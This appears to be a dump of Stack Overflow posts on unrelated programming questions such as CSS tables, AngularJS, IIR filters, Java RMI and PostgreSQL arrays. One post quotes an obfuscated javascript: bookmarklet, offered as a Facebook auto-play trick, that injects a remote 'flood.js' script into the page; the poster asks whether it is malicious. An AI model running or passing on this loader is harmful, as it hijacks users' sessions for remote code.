39376509	0	Add Fixed Header to Responsive Data Table with auto width <p>I have a collapsible, responsive data table with adjustable width and column width that I need to apply a fixed header to.</p> <p>In the table below, the header <code>Username | Rep | Earnings | Active Game | W / L</code> scrolls with the data and disappears immediately after scrolling down. I want this header to remain fixed, like the <code>Steam</code> header. Unfortunately, it is not a <code>div</code> tag like the <code>Steam</code> header, so a simple <code>position: fixed</code> call does not do the trick.</p> <p>Here is a fiddle of my base table: <a href="https://jsfiddle.net/2vz3gndd/" rel="nofollow">https://jsfiddle.net/2vz3gndd/</a></p> <p>To be clear, I need the <code>Username | Rep | Earnings | Active Game | W / L</code> header fixed, not the <code>Steam</code> header; as it is already easily fixed, being a <code>div</code> tag rather than a <code>table</code></p> <p>I started hoping something this simple would work:</p> <pre><code>.match-table tr:first-of-type { position: fixed; width: 100%; } </code></pre> <p>But like I said, after trying far more complex solutions and still being no closer to achieving my goal, I am feeling a bit defeated.</p> <p>I've searched similar questions, tried countless solutions from other questions on SO, but none of them seem to work in my example, which is a responsive data table that uses table headers to create "sub-tables" when in mobile view.</p> <p>I tried several pure CSS solutions but all of them required special conditions, such as the table header text had to be left aligned, which isn't acceptable in my case. Many others required fixed width tables, cells, or both; again, not acceptable for this purpose.</p> <p>In other cases, I found jquery examples, but they were using versions of jquery that were incompatible with my version (2.1.4).</p> <p>I have tried approaches with the <code>thead</code> and <code>tbody</code> tag, but again, to no avail.</p> <p>I have been racking my brain over this for more than 12 hours now and although it may be a simple fix or plugin, I can't seem to find it or figure it out so any help would be <strong>GREATLY</strong> appreciated.</p>
31877006	0	AngularJS ng-show not firing when used with map <p>Trying to use a key/value map to determine if an angular controlled element should be displayed : </p> <p><a href="http://jsfiddle.net/9fR23/181/" rel="nofollow">http://jsfiddle.net/9fR23/181/</a></p> <p>But I receive a exception : </p> <pre><code>angular.js:6173 TypeError: fnPtr is not a function at Object.elementFns [as get] (angular.js:6802) at Object.$get.Scope.$digest (angular.js:8563) at Object.$get.Scope.$apply (angular.js:8771) at angular.js:986 at Object.invoke (angular.js:2873) </code></pre> <p>Using scope in this way is not illegal ? How to use a key/value map to determine if element should be displayed ? This map will be updated at runtime, so to ensure this update is reflected on UI I need to include <code>apply()</code> method ?</p> <p>fiddle code : </p> <pre><code>&lt;div ng-app="myapp" ng-controller="FirstCtrl"&gt; &lt;table class="table table-striped"&gt; &lt;tr ng-repeat="person in people"&gt; &lt;td ng-show="errorMap('1')"&gt;{{ person.first + ' ' + person.last }}&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; var myapp = angular.module('myapp', []); myapp.controller('FirstCtrl', function ($scope) { var errorMap = new Object() errorMap['1'] = 'true' errorMap['2'] = 'false'; $scope.errorMap = errorMap $scope.people = [ { id: 1, first: 'John', last: 'Rambo' }, { id: 2, first: 'Rocky', last: 'Balboa' }, { id: 3, first: 'John', last: 'Kimble' }, { id: 4, first: 'Ben', last: 'Richards' } ]; }); </code></pre>
1528582	0	 <p>Hard to say without knowing more about what you're up to, but probably easiest to take it down a layer. If you're just talking about two machines where you control both sides, set up a Dialup Networking PPP connection between the machines over a null modem and use WCF with standard HTTP or NetTcp over the pipe.</p>
7040459	0	 <p>May be like this:</p> <pre><code>declare @qry nvarchar(1000) set @qry = 'select XMLCOL.query(''//' + @node + ''') from XMLTable' exec( @qry ) </code></pre>
6556853	0	Can someone decrypt this javascript <p>i found it in a forum that tell me that this code would give me auto play for facebook games but i afraid that this is not what they say, im afraid that this is malicious script </p> <p>please help :)</p> <pre><code>javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0); </code></pre>
8713248	0	 <p>This one is working for me please try this</p> <pre><code>import sys import cdecimal sys.modules["decimal"] = cdecimal from sqlalchemy import create_engine, Numeric, Integer, Column from sqlalchemy.ext.declarative import declarative_base engine = create_engine('mysql://test:test@localhost/test1') Base = declarative_base() class Exchange(Base): __tablename__ = 'exchange' id = Column(Integer, primary_key=True) amount = Column(Numeric(10,2)) def __init__(self, amount): self.amount = cdecimal.Decimal(amount) Base.metadata.create_all(engine) from sqlalchemy.orm import sessionmaker Session = sessionmaker(bind=engine) session = Session() x = Exchange(10.5) session.add(x) session.commit() </code></pre> <p>Note: I dont have pgsql in my pc so I tried on mysql.</p>
24269084	0	 <p>You can use the <a href="http://www.tcl.tk/man/tcl8.4/TkCmd/scale.htm" rel="nofollow"><code>-resolution</code></a> option:</p> <pre><code>#!/usr/bin/wish package require Tk scale .meter -from 0 -to 10 -variable r -label meter -orient horizontal -resolution 0.1 pack .meter -fill both -expand true </code></pre> <p>Will take all increment/decrement by 0.1.</p>
20598295	0	DSP - Group Delay of an IIR filter <p>I need to write a program in order to filter a signal for 0.8-3 Hz. Even though I have a working FIR filter this one takes too long and I've decided to change to an IIR filter. I've designed one myself using fdatool in Matlab and I've got the NUM and DEN. The improvement in time would be quite good (the FIR was 125 taps and this one's order is 12). The next step was to move to the C implementation and I've found this nice website <a href="http://iowahills.com/Example%20Code/IIRNthOrderImplementation.txt" rel="nofollow noreferrer">http://iowahills.com/Example%20Code/IIRNthOrderImplementation.txt</a> .</p> <p>The problem is that in their code there is a parameter I just don't understand and that is NumSigPts. </p> <pre><code>void RunIIRPoly( double *Signal, double *FilteredSignal, int NumSigPts) { int j, k, N; double y, Reg[100]; for(j=0; j&lt;100; j++)Reg[j] = 0.0; // Init the delay registers. for(j=0; j&lt;NumSigPts; j++) { // Shift the delay register values. for(k=N; k&gt;0; k--)Reg[k] = Reg[k-1]; // The denominator Reg[0] = Signal[j]; for(k=1; k&lt;=N; k++)Reg[0] -= DenomCoeff[k] * Reg[k]; // The numerator y = 0; for(k=0; k&lt;=N; k++)y += NumCoeff[k] * Reg[k]; FilteredSignal[j] = y; } } </code></pre> <p>In the description they say </p> <blockquote> <p>This particular filter has a nominal group delay of 4 so we set NumSigPts to at least 1000 + 2*4</p> </blockquote> <p>How can I find the group delay of my filter. Does it have anything to do with the filter's order? The signal I filter is continuously provided so my exact question would be what is the minimum size of the signal in order to begin filtering?</p> <p>Later edit:</p> <p>So today I had some attempts with this IIR filter, but still haven't managed to get some good results. I took Nate's advice and tried Matlab's grpdelay function. The thing is I'm not quite sure how interpret the output. <img src="https://i.imgur.com/TVzECmO.png?1" alt="grpdelay"></p> <p>What I'm trying to do is to filter some images,frames, pixel by pixel. The way I'm doing this is to store the images in a array of images which is all_frames. To access each pixel I call all_frames[frame_number][pixel_number].</p> <p>The code I came up with following the website mention above is:</p> <pre><code>void ApplyIIR ( float **all_frames, float *num, float *den, int frame_number, float *filter_Xs, int w, int h) { float Reg[FILTER_ORDER]; for (int i=0; i&lt; (width*height) ; i++) { //go pixel by pixel for(int j=0; j&lt;FILTER_ORDER; j++) //init regs Reg[j] = 0.0; float final_X=0; for(int l=0; l&lt; FILTER_ORDER+ DELAY ; l++) { // not sure how to set DELAY for(int k=FILTER_ORDER-1; k&gt;0;k--) Reg[k] = Reg[k-1]; Reg[0] = all_frames[frame_number][i]; //get pixels one by one for(int k=1; k&lt;FILTER_ORDER;k++) Reg[0] -= den[k]* Reg[k]; for(int k=0;k&lt;FILTER_ORDER;k++) final_X += num[k] * Reg[k]; if(frame_number == 0) //go through all the frames frame_number = FILTER_ORDER - 1; else frame_number--; } filter_Xs[i] = final_X; } } </code></pre> <p>FILTER_ORDER is set to 13, since num and den have 0-12 values.</p> <p>Am I on a completely wrong path?</p>
4476244	0	 <p><em>This is another parenthetical note.</em></p> <p>As <a href="http://stackoverflow.com/questions/2982276/what-is-a-context-bound-in-scala/2983376#2983376">Ben pointed out</a>, a context bound represents a "has-a" constraint between a type parameter and a type class. Put another way, it represents a constraint that an implicit value of a particular type class exists.</p> <p>When utilizing a context bound, one often needs to surface that implicit value. For example, given the constraint <code>T : Ordering</code>, one will often need the instance of <code>Ordering[T]</code> that satisfies the constraint. <a href="http://stackoverflow.com/questions/4373070/how-do-i-get-an-instance-of-the-type-class-associated-with-a-context-bound/4373153#4373153">As demonstrated here</a>, it's possible to access the implicit value by using the <code>implicitly</code> method or a slightly more helpful <code>context</code> method:</p> <pre><code>def **[T : Numeric](xs: Iterable[T], ys: Iterable[T]) = xs zip ys map { t =&gt; implicitly[Numeric[T]].times(t._1, t._2) } </code></pre> <p>or </p> <pre><code>def **[T : Numeric](xs: Iterable[T], ys: Iterable[T]) = xs zip ys map { t =&gt; context[T]().times(t._1, t._2) } </code></pre>
3651525	0	Querying documents containing two tags with CouchDB? <p>Consider the following documents in a CouchDB:</p> <pre><code>{ "name":"Foo1", "tags":["tag1", "tag2", "tag3"], "otherTags":["otherTag1", "otherTag2"] } { "name":"Foo2", "tags":["tag2", "tag3", "tag4"], "otherTags":["otherTag2", "otherTag3"] } { "name":"Foo3", "tags":["tag3", "tag4", "tag5"], "otherTags":["otherTag3", "otherTag4"] } </code></pre> <p>I'd like to query all documents that contain <strong>ALL</strong> (not any!) tags given as the key.</p> <p>For example, if I request using '["tag2", "tag3"]' I'd like to retrieve Foo1 and Foo2.</p> <p>I'm currently doing this by querying by tag, first for "tag2", then for "tag3", creating the union manually afterwards.</p> <p>This seems to be awfully inefficient and I assume that there must be a better way.</p> <p>My second question - but they are quite related, I think - would be:</p> <p>How would I query for all documents that contain "tag2" <strong>AND</strong> "tag3" <strong>AND</strong> "otherTag3"?</p> <p>I hope a question like this hasn't been asked/answered before. I searched for it and didn't find one.</p>
14658063	0	Using a function to find letters and words <p>I'm trying to get the answer of the number of letters/number of words... I'm having problems with the word counting.</p> <p>Actually in here i only declare that a new word is if there is a space, tab, of a newline, but is still doesn't work.. </p> <p>This is my function:</p> <pre><code>int num_of_letters_words() { int numberOfLetters = 0; int numberOfWords = 0; int userInput; int answer; printf("please enter your input:\n"); while ((userInput = getchar()) != EOF) { if (ispunct(userInput)) continue; else if(userInput == '\n') continue; else if (userInput == ' ') continue; else if (iscntrl(userInput)) continue; else if (userInput == ' ') ; else numberOfLetters++; if (userInput == ' ' || userInput == '\n' || userInput == '\t') numberOfWords++; } answer = numberOfLetters/numberOfWords; return answer; } </code></pre> <p>Only in the end of the function you can see the words counter... What is wrong here? </p>
11449839	0	 <p>Simple:</p> <pre><code>int my_int = 1234; send(socket, &amp;my_int, sizeof(my_int), 0); </code></pre> <p>The above code sends the integer <em>as is</em> over the socket. To receive it on the other side:</p> <pre><code>int my_int; recv(socket, &amp;my_int, sizeof(my_int), 0); </code></pre> <p>However, be careful if the two programs runs on systems with different byte order.</p> <p><strong>Edit:</strong> If you worry about platform compatibilities, byte ordering and such, then converting all data to strings on one end and then convert it back on the other, might be the best choice. See e.g. the answer from cnicutar.</p>
10514957	0	 <p>To hide it from windows task bar you just need to set ShowInTaskbar property to false :</p> <pre><code>this.ShowInTaskbar = false; </code></pre> <p>As for moving of windows you can use <a href="http://msdn.microsoft.com/en-us/magazine/cc163617.aspx">spy++</a> to check windows events and identify it.</p>
22092380	0	How to change image src along with keynote..? <pre><code>&lt;div id="div1" class="index-speaker-img"&gt; &lt;img id="image1" src="" onmouseout="hide(this,'keynote2')" onmouseover="show(this,'keynote2')" width="30%" class="fl"/&gt; &lt;div id="keynote2" class="tip1" style="display:none;top:22%;left:2%;" onmouseout="hidePop(this,'keynote6')" onmouseover="showPop(this,'keynote6')"&gt; &lt;p style="line-height:15px;font-size:19px;font-family:'Neo_Sans_Bold';color:#ffffff;"&gt;Venkat&lt;/p&gt; &lt;p &gt;Founder,Developer Inc.&lt;/p&gt; &lt;/div&gt; &lt;/div &gt; &lt;div class="index-speaker-img"&gt; &lt;img id="image2" src="" onmouseout="hide(this,'keynote4')" onmouseover="show(this,'keynote4')" width="30%" class="fl"/&gt; &lt;div id="keynote4" class="tip1" style="display:none;top:22%;left:33%;" onmouseout="hidePop(this,'keynote6')" onmouseover="showPop(this,'keynote6')"&gt; &lt;p style="line-height:15px;font-size:19px;font-family:'Neo_Sans_Bold';color:#ffffff;"&gt; Mann&lt;/p&gt; &lt;p &gt;Editor-in Central&lt;/p&gt; &lt;/div&gt; &lt;/div &gt; </code></pre> <p>and </p> <p>JS file</p> <pre><code>var images = [ "http://static.ddmcdn.com/gif/lightning-gallery-18.jpg", "http://static.ddmcdn.com/gif/lightning-gallery-19.jpg", "http://static.ddmcdn.com/gif/lightning-gallery-20.jpg", "http://static.ddmcdn.com/gif/lightning-gallery-17.jpg"]; function randImg() { var size = images.length var x = Math.floor(size * Math.random()) document.getElementById('image1').src = images[x]; } window.onload = randImg; </code></pre> <p>Its changes image surce, but not changes its keynote along with images.. Thanks in advance..........</p> <p>extra ............. <a href="http://jsfiddle.net/gFft7/20/" rel="nofollow">http://jsfiddle.net/gFft7/20/</a></p>
19504785	0	 <p>I am currently using a <a href="http://developer.android.com/reference/android/support/v4/app/FragmentTabHost.html" rel="nofollow">FragmentTabHost</a> and it's just perfect!</p> <p>You can have your ListFragment and a simple Fragment with your details. And use your FragmentActivity to communicate with them.</p> <p>You just need to override the <a href="http://stackoverflow.com/questions/19029548/communicate-with-a-fragment-in-a-fragmenttabhost">onAttach method</a> of your activity which is called when a Fragment is displayed.</p>
9418313	0	 <pre><code>declare @startDate datetime, @endDate datetime select @startDate = '1/1/2012', @endDate = '2/1/2012' select p.Name as Plant, (select sum(Quantity) from Parts where PlantID = p.ID and date between @startDate and @endDate) as Parts, (select sum(Quantity) from Rejects where PlantID = p.ID and date between @startDate and @endDate) as Rejects from Plant p where p.endDate is null </code></pre>
37188175	0	Margins on flexbox items work in Chrome but nothing else <p>I have a flexbox with flex-direction column. The items inside the flexbox have margins set but the margins only appear in chrome. I tried setting a height to the container larger than the items and setting <code>justify-content: space-around</code> but that had no effect either.</p> <p>I have looked around but can't seem to find any mention of this being a bug or browser support issue. </p> <p>Here is the code I have. and here is a <a href="https://jsfiddle.net/GJordan/02tpL38g/6/" rel="nofollow">fiddle</a> demonstrating the behavior. If you view the fiddle in Chrome you see the margins but in firefox no margins.</p> <p><strong>SCSS</strong></p> <pre><code>.background { background-color: red; } .backgroundText { display: flex; flex-direction: column; a { padding-left: 3%; margin-top: 15%; font-size: 75px; &amp;:nth-child(4) { margin-bottom: 15%; } } } </code></pre> <p><strong>HTML</strong></p> <pre><code>&lt;div class=container-fluid&gt; &lt;div class="background col-xs-12"&gt; &lt;div class="col-xs-3 col-xs-offset-9"&gt; &lt;div class="backgroundText"&gt; &lt;a href="#"&gt;Item&lt;/a&gt; &lt;a href="#"&gt;Item&lt;/a&gt; &lt;a href="#"&gt;Item&lt;/a&gt; &lt;a href="#"&gt;Item&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
39123272	0	 <pre><code>var oBundle; defaultLocale = "en-EN"; var countryLocale = "de-FR"; oBundle= jQuery.sap.resources({url : "i18n/labels-en.properties", locale: defaultLocale}); //If need to use any other language have a condition to define accordingly. //oBundle= jQuery.sap.resources({url :"i18n/labels-fr.properties", locale: countryLocale }); </code></pre> <p>And in your controls just below to <strong><code>setText</code></strong></p> <pre><code>oBundle.getText("label.title"); </code></pre>
29847377	0	NotSerializableException(UpdateHandler) <p>I wrote a GUI which connects with a server application using RMI. Because the GUI has to show the online users a thread refreshes the JLabel which includes the "Online-User-List". Sometimes I get this exception on runtime:</p> <pre><code>Caused by: java.io.NotSerializableException:javax.swing.plaf.basic.BasicTextUI$UpdateHandler at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1184) at java.io.ObjectOutputStream.access$300(ObjectOutputStream.java:162) at java.io.ObjectOutputStream$PutFieldImpl.writeFields(ObjectOutputStream.java:1707) at java.io.ObjectOutputStream.writeFields(ObjectOutputStream.java:482) at java.awt.Container.writeObject(Container.java:3697) at sun.reflect.GeneratedMethodAccessor11.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) </code></pre> <p>...</p> <p>The exception appears here:</p> <pre><code>try { onlineUser = Client.getInstance().connect().GetOnlineUser(); } catch (RemoteException e2) { e2.printStackTrace(); } </code></pre> <p>in this methode:</p> <pre><code>public void lookForPlayers() { this.getPanel_2().removeAll(); List&lt;User&gt; onlineUser = new ArrayList&lt;User&gt;(); try { onlineUser = Client.getInstance().connect().GetOnlineUser(); } catch (RemoteException e2) { e2.printStackTrace(); } int i = 5; for (User user : onlineUser) { if (!(user.getID_user().equals(Client.getInstance().getUser() .getID_user()))) { JLabel lbltest = new JLabel(user.getID_user()); lbltest.setBounds(10, i, 121, 14); this.getPanel_2().add(lbltest); i = i + 17; } } this.getPanel_2().repaint(); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } </code></pre> <p>I use this Methode in a Timer-inner-class:</p> <pre><code>private class Prozess extends TimerTask { public void run() { lookForPlayers(); checkEinladungen(); checkBestätigung(); } } </code></pre> <p>This is the class which has the Timer-inner-class (most of them is GUI):</p> <pre><code>package ch.berufsbildungscenter.gui; import java.awt.Color; import java.awt.Font; import java.awt.FontMetrics; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import java.rmi.RemoteException; import java.util.ArrayList; import java.util.List; import java.util.Timer; import java.util.TimerTask; import javax.swing.BorderFactory; import javax.swing.ImageIcon; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.swing.SwingConstants; import javax.swing.border.Border; import javax.swing.border.EmptyBorder; import javax.swing.border.LineBorder; import ch.berufsbildungscenter.rmi.Client; import ch.berufsbildungscenter.rmi.User; public class LogedInWindow extends JFrame implements ActionListener { /** * */ private static final long serialVersionUID = -3892660882088306231L; private JPanel contentPane; Border border = BorderFactory.createLineBorder(Color.GREEN, 1); Font font = new Font("Arial", Font.PLAIN, 18); FontMetrics metr = this.getFontMetrics(font); JButton b = new JButton(new ImageIcon("/recources/images/button.png")); private JPanel panel_2 = new JPanel(); private JButton btnPaddleWhlen = new JButton("Paddle w\u00E4hlen"); private User users = new User(); private String chal; private JButton ok = new JButton("OK"); private JTextField textArea = new JTextField(); private JButton btnAbmelden = new JButton("Abmelden"); private Timer timer; /** * Launch the application. */ /** * Create the frame. */ public LogedInWindow(User u) { this.setTimer(new Timer()); this.getTimer().scheduleAtFixedRate(new Prozess(), 0, 10); setVisible(true); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 400, 450); setResizable(false); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); setLocationRelativeTo(null); this.getBtnPaddleWhlen().addActionListener(this); this.getOk().addActionListener(this); this.getBtnAbmelden().addActionListener(this); timer = new Timer(); JPanel panel_1 = new JPanel(); panel_1.setBounds(10, 0, 364, 44); contentPane.add(panel_1); panel_1.setLayout(null); JLabel lblAngemeldetAls = new JLabel("Angemeldet als:"); lblAngemeldetAls.setBounds(0, 18, 100, 33); lblAngemeldetAls.setHorizontalAlignment(SwingConstants.CENTER); panel_1.add(lblAngemeldetAls); JLabel lblNewLabel = new JLabel(u.getID_user()); lblNewLabel.setBounds(102, 18, 150, 33); lblNewLabel.setFont(font); panel_1.add(lblNewLabel); JLabel lblOnline = new JLabel("Online"); lblOnline.setBounds(260, 11, 46, 14); panel_1.add(lblOnline); panel_1.add(b); JButton btnNewButton_1 = new JButton(""); btnNewButton_1.setIcon(new ImageIcon(LogedInWindow.class .getResource("/images/button.png"))); lblOnline.setBounds(270, 11, 46, 14); btnNewButton_1.setBorder((BorderFactory.createEmptyBorder(15, 15, 15, 15))); btnNewButton_1.setBorderPainted(true); btnNewButton_1.setContentAreaFilled(false); btnNewButton_1.setFocusPainted(false); btnNewButton_1.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { } }); this.addWindowListener(new WindowAdapter() { @Override public void windowClosing(WindowEvent e) { try { e.getWindow().dispose(); Client.getInstance().connect().logout(Client.getInstance()); } catch (RemoteException e1) { e1.printStackTrace(); } } }); btnNewButton_1.setBounds(275, 7, 89, 23); panel_1.add(btnNewButton_1); this.getPanel_2().setBorder(new LineBorder(new Color(0, 0, 0))); this.getPanel_2().setBounds(212, 79, 162, 201); this.getPanel_2().setLayout(null); contentPane.add(this.getPanel_2()); JPanel panel_3 = new JPanel(); panel_3.setBounds(10, 291, 364, 42); contentPane.add(panel_3); panel_3.setLayout(null); JButton btnShop = new JButton("Shop"); btnShop.setBounds(0, 11, 80, 23); panel_3.add(btnShop); JButton btnPaddleWhlen = new JButton("Paddle w\u00E4hlen"); btnPaddleWhlen.setBounds(110, 11, 122, 23); panel_3.add(btnPaddleWhlen); JPanel panel_4 = new JPanel(); panel_4.setBounds(10, 344, 364, 57); contentPane.add(panel_4); panel_4.setLayout(null); JLabel lblChallange = new JLabel("Challenge: "); lblChallange.setBounds(10, 11, 86, 14); panel_4.add(lblChallange); JButton btnNewButton = new JButton("Rangliste"); btnNewButton.setBounds(251, 0, 113, 23); panel_4.add(btnNewButton); textArea.setBounds(106, 11, 100, 15); panel_4.add(textArea); ok.setBounds(106, 34, 80, 23); panel_4.add(ok); btnAbmelden.setBounds(251, 34, 113, 23); panel_4.add(btnAbmelden); JPanel panel = new JPanel(); panel.setBorder(new LineBorder(new Color(0, 0, 0))); panel.setBounds(10, 79, 179, 201); contentPane.add(panel); panel.setLayout(null); JLabel lblCoins = new JLabel("Coins:"); lblCoins.setBounds(10, 11, 121, 14); panel.add(lblCoins); JLabel lblPunkte = new JLabel("Punkte:"); lblPunkte.setBounds(10, 36, 121, 14); panel.add(lblPunkte); JLabel lblGewonneneSpiele = new JLabel("Gewonnene Spiele:"); lblGewonneneSpiele.setBounds(10, 63, 121, 14); panel.add(lblGewonneneSpiele); JLabel lblGespielteSpiele = new JLabel("Gespielte Spiele:"); lblGespielteSpiele.setBounds(10, 88, 121, 14); panel.add(lblGespielteSpiele); JLabel lblWinlose = new JLabel("Win/Lose:"); lblWinlose.setBounds(10, 113, 121, 14); panel.add(lblWinlose); JButton btnSpielstatistik = new JButton("Spielstatistik"); btnSpielstatistik.setBounds(10, 167, 121, 23); panel.add(btnSpielstatistik); JLabel lblPaddle = new JLabel("Paddle:"); lblPaddle.setBounds(10, 138, 121, 14); panel.add(lblPaddle); JLabel lblNewLabel_1 = new JLabel("" + u.getGeld()); lblNewLabel_1.setBounds(133, 11, 46, 14); panel.add(lblNewLabel_1); JLabel label = new JLabel("" + u.getRankedPunkte()); label.setBounds(133, 36, 46, 14); panel.add(label); JLabel label_1 = new JLabel("" + u.getGewonneneSpiele()); label_1.setBounds(133, 61, 46, 14); panel.add(label_1); JLabel label_2 = new JLabel("" + u.getGespielteSpiele()); label_2.setBounds(133, 88, 46, 14); panel.add(label_2); JLabel label_3 = new JLabel("" + u.getWinLose()); label_3.setBounds(133, 113, 46, 14); panel.add(label_3); JLabel label_4 = new JLabel("" + u.getSelectedPaddle()); label_4.setBounds(133, 142, 46, 14); panel.add(label_4); JLabel lblStatistik = new JLabel("Statistik"); lblStatistik.setBounds(10, 55, 73, 14); contentPane.add(lblStatistik); JLabel lblOnlinePlayers = new JLabel("Online Players"); lblOnlinePlayers.setBounds(212, 55, 100, 14); contentPane.add(lblOnlinePlayers); } private class Prozess extends TimerTask { public void run() { lookForPlayers(); checkEinladungen(); checkBestätigung(); } } public void lookForPlayers() { this.getPanel_2().removeAll(); List&lt;User&gt; onlineUser = new ArrayList&lt;User&gt;(); try { onlineUser = Client.getInstance().connect().GetOnlineUser(); } catch (RemoteException e2) { e2.printStackTrace(); } int i = 5; for (User user : onlineUser) { if (!(user.getID_user().equals(Client.getInstance().getUser() .getID_user()))) { JLabel lbltest = new JLabel(user.getID_user()); lbltest.setBounds(10, i, 121, 14); this.getPanel_2().add(lbltest); i = i + 17; } } this.getPanel_2().repaint(); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } public void checkEinladungen() { Client einlader = Client.getInstance(); try { einlader = Client.getInstance().connect() .checkEinladen(Client.getInstance()); } catch (RemoteException e) { e.printStackTrace(); } if (!einlader.getUser().getID_user() .equals(Client.getInstance().getUser().getID_user())) { int eingabe = JOptionPane.showConfirmDialog(null, "Wollen sie die Herausforderung von " + einlader.getUser().getID_user() + " annehmen?", "Einladung", JOptionPane.YES_NO_OPTION); if (eingabe == JOptionPane.YES_OPTION) { try { Client.getInstance().connect() .annehmen(Client.getInstance(), einlader); setVisible(false); Client.getInstance().beitreten(Client.getInstance(), einlader); dispose(); } catch (RemoteException e) { e.printStackTrace(); } } } try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } public void checkBestätigung() { Client gegner = Client.getInstance(); try { gegner = Client.getInstance().connect() .checkBestätigungen(Client.getInstance()); } catch (RemoteException e) { e.printStackTrace(); } if (!gegner.getUser().getID_user() .equals(Client.getInstance().getUser().getID_user())) { setVisible(false); Client.getInstance().erstellen(Client.getInstance(), gegner); dispose(); } try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } public void actionPerformed(ActionEvent e) { if (e.getSource().equals(getBtnPaddleWhlen())) { new Paddle(users); } if (e.getSource().equals(getOk())) { List&lt;User&gt; onlineUser = new ArrayList&lt;User&gt;(); this.setChal(textArea.getText()); try { onlineUser = Client.getInstance().connect().GetOnlineUser(); } catch (RemoteException e2) { e2.printStackTrace(); } boolean exist = false; for (User u : onlineUser) { if (this.getChal().equals(u.getID_user())) { exist = true; if (u.getClient().isIngame()) { JOptionPane.showMessageDialog(null, u.getID_user() + " befindet sich bereits in einem Spiel", "Fehler", JOptionPane.WARNING_MESSAGE); } else if (Client.getInstance().getUser().getID_user() .equals(u.getID_user())) { JOptionPane.showMessageDialog(null, "Du kannst dich nicht selber einladen", "Fehler", JOptionPane.WARNING_MESSAGE); } else { try { Client.getInstance() .connect() .einladen(Client.getInstance(), u.getClient()); } catch (RemoteException e1) { e1.printStackTrace(); } } } } if (exist == false) { JOptionPane.showMessageDialog(null, "Spieler wurde nicht gefunden!", "Fehler", JOptionPane.WARNING_MESSAGE); } } if (e.getSource().equals(getBtnAbmelden())) { try { this.dispose(); Client.getInstance().connect().logout(Client.getInstance()); System.exit(0); } catch (RemoteException e1) { e1.printStackTrace(); } } } public JPanel getPanel_2() { return panel_2; } public void setPanel_2(JPanel panel_2) { this.panel_2 = panel_2; } public JButton getBtnPaddleWhlen() { return btnPaddleWhlen; } public void setBtnPaddleWhlen(JButton btnPaddleWhlen) { this.btnPaddleWhlen = btnPaddleWhlen; } public User getUsers() { return users; } public void setUsers(User users) { this.users = users; } public String getChal() { return chal; } public void setChal(String chal) { this.chal = chal; } public JTextField getTextArea() { return textArea; } public void setTextArea(JTextField textArea) { this.textArea = textArea; } public JButton getOk() { return ok; } public void setOk(JButton ok) { this.ok = ok; } public JButton getBtnAbmelden() { return btnAbmelden; } public void setBtnAbmelden(JButton btnAbmelden) { this.btnAbmelden = btnAbmelden; } public Timer getTimer() { return timer; } public void setTimer(Timer timer) { this.timer = timer; } } </code></pre>
27914297	0	 <p>You can't update the user profile property and trigger the event in a single Mixpanel call.</p> <p>Instead you can use a wrapper function like this:</p> <pre><code>function trackEvent(eventName, eventData){ mixpanel.track(eventName, eventData); mixpanel.people.increment("eventCount - " + eventName, 1); } trackEvent("View Page", {}); </code></pre> <p>The user profile will then have a property called "eventCount - View Page")</p>
25734470	0	How do I print a variable in a shell script without altering trailing newline (if there is one)? <p>I have a shell script that takes input from another shell script. The stream gets piped in on stdin.</p> <p>I need to capture all the bytes of the stdin stream to a single variable in the shell script. Then, perform some operations on it, and send it back out over stdout.</p> <p>The problem I have is that sometimes there is a trailing newline character in the input file, but sometimes there is not. If there is not, then I do not want to add one. If there is a trailing newline, however, I want to preserve that. </p> <p>The problem is that no matter what I try, the system either always outputs WITHOUT a trailing newline (as in the case of <code>printf</code>) or it always outputs WITH a newline (as in the case of <code>echo</code>). </p> <p>Please tell me what is the name of a process (not <code>echo</code> or <code>printf</code>) that simply takes a variable and streams it out, verbatim, byte for byte, over stdout. I have tried all possible options for <code>printf</code> and none of them works to preserve trailing newlines. </p> <p>Please note I am not interested in why <code>printf</code> and <code>echo</code> both cannot do this one simple thing. Unless you can show me a portable way across unix platforms to use those commands to do what I ask, in which case I'm all ears :D</p>
31916718	0	Why are there different types of arrays in postgreSQL? <p>I have this query <code>select array_agg(id) as idtag FROM POdelivery_a where ....</code></p> <p>It gives me <code>id</code> in array: <code>{26053,26021,26055}</code> I use it later in other queries...</p> <p>for the question assume I use it like this:</p> <pre><code>select * from a where id in {26053,26021,26055} </code></pre> <p>it gives me an error:</p> <blockquote> <p>ERROR: syntax error at or near "{"</p> </blockquote> <p>it will accept the query as:</p> <pre><code>select * from a where d in (26053,26021,26055) </code></pre> <p>So why <code>array_agg(id)</code> returns me an array that I can not work with? I always need to do conversions...</p> <p>is there a way that <code>array_agg(id)</code> will return the result as <code>(26053,26021,26055)</code> not as <code>{26053,26021,26055}</code>?</p> <p>Why does PostgreSQL works with many kinds of arrays?</p>
